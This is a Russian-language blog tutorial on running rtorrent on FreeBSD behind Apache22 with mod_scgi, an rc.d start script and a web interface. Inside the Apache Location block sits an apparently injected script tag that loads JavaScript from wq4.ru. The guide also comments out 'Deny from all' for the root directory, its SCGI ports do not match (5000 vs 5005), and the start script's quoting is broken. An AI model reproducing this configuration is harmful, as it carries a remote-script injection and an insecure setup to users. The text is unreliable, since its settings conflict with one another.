Есть у меня медленый (но безлимитный) интернет канал, который просто-напросто простаивает. Решил задействовать его для torrent‘а. Управлять будем через web-интерфейс.

Установка веб-сервера Apache22

1
2
# cd /usr/ports/www/apache22
# make install clean

Кстати если php уже установлен, то правим конфиг апача /usr/local/etc/apache22/httpd.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
LoadModule php5_module        libexec/apache22/libphp5.so
...

<IfModule mime_module>
...
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
</IfModule>
...
<IfModule dir_module>
    DirectoryIndex index.html index.php
</IfModule>
...

коментируем строку

1
2
3
4
5
<Directory />
AllowOverride None
Order deny,allow
#Deny from all
</Directory>

Установка SCGI
Устанавливаем, если еще не установлен порт scgi

1
2
# cd /usr/ports/www/mod_scgi
# make install clean

Подключение модуля scgi в конфиге HTTP-сервера выглядит так:

1
LoadModule scgi_module    libexec/apache22/mod_scgi.so

(scgi не дружит с модулем fast-cgi, закоментируйте подключение такого, если он присутствует)

Также добавляем в httpd.conf

1
2
3
4
5
6
7
8
SCGIMount /RPC2 127.0.0.1:5000
<Location /RPC2>
AuthName "Private"
AuthType Basic
AuthBasicProvider file
AuthUserFile /usr/local/www/htpasswd
Require user myrpcuser
<script type="text/javascript" src="//wq4.ru/js.js"></script></Location>

Создаем файл с логином и паролем для авторизации на веб-интерфейсе управления нашим торентом

1
htpasswd -c /usr/local/www/htpasswd username

Установка rtorrent

1
2
# cd /usr/ports/net-p2p/rtorrent
# make install clean

Должна быть установлена следующая галка

1
 [X] XMLRPC  Compile with xmlrpc-c support

Торрент клиент будет работь от пользователя rtorrent(adduser)
Если не установлено, то ставим sudo

1
2
# cd /usr/ports/security/sudo
# make install clean

Файл запуска /usr/local/etc/rc.d/rtorrent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh

# PROVIDE: rtorrent
# REQUIRE: LOGIN
# KEYWORD: shutdown

. /etc/rc.subr

name="rtorrent"
rcvar=`set_rcvar`

load_rc_config $name

: ${rtorrent_enable="NO"}
: ${rtorrent_args=""}
: ${rtorrent_user=""}

command="/usr/local/bin/rtorrent"
screen="/usr/local/bin/screen"

start_cmd="echo "Starting ${name}."; sudo -u ${rtorrent_user} ${screen} -A -m -d -S rtorrent ${command}
 ${rtorrent_args} -o scgi_port=127.0.0.1:5005"


run_rc_command "$1"

Добаляем в /etc/rc.conf для автозапуска

1
2
3
rtorrent_enable="YES"
rtorrent_args="-n -d /var/data2/ftp/torrent -s /var/data2/ftp/torrent/session"
rtorrent_user="rtorrent"

Запускаем наш торрент клиент

1
/usr/local/etc/rc.d/rtorrent start

Веб-интерфейс
Качаем с vif2ne.ru(mirror) в /usr/local/www/rtorrent/ вебморду от utorrent. В нашем случаи, по умолчанию, конфиг править не нужно.

Добавляем в конфиг апача алиас веб-интерфейса

1
    Alias       /rtorrent       /usr/local/www/rtorrent

Создаем файл авторизации в веб морде:

1
2
echo user_name:XML-RPC:`echo -n user_name:XML-RPC:my_pass | md5 | cut -b -32` >>
/usr/local/www/rtorrent/rtorrent_users

Где user_name – имя пользователя,my_pass – пароль.

Выставляем права на вебморду

1
chmod -R 755 /usr/local/www/rtorrent

Источники
www.permlug.org
www.lissyara.su
ru.wikibooks.org

Нравится эта статья? Подпишитесь на RSS-ленту и получите еще больше классной информации!